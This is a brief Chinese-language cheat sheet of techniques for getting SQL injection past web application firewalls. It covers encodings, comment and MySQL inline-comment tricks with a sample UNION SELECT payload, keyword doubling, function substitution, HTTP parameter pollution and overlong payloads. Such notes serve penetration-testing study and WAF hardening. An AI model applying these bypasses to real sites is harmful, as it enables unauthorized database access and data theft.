绕过技巧 ================================ - 编码绕过 - 大小写 - url编码 - html编码 - 十六进制编码 - unicode编码 - 注释 - ``//`` ``--`` ``-- +`` ``-- -`` ``#`` ``/**/`` ``;%00`` - 内联注释用的更多,它有一个特性 ``/!**/`` 只有MySQL能识别 - e.g. ``index.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3`` - 只过滤了一次时 - ``union`` => ``ununionion`` - 相同功能替换 - 函数替换 - ``substring`` / ``mid`` / ``sub`` - ``ascii`` / ``hex`` / ``bin`` - ``benchmark`` / ``sleep`` - 变量替换 - ``user()`` / ``@@user`` - 符号和关键字 - ``and`` / ``&`` - ``or`` / ``|`` - HTTP参数 - HTTP参数污染 - ``id=1&id=2&id=3`` 根据容器不同会有不同的结果 - HTTP分割注入 - 缓冲区溢出 - 一些C语言的WAF处理的字符串长度有限,超出某个长度后的payload可能不会被处理 - 二次注入有长度限制时,通过多句执行的方法改掉数据库该字段的长度绕过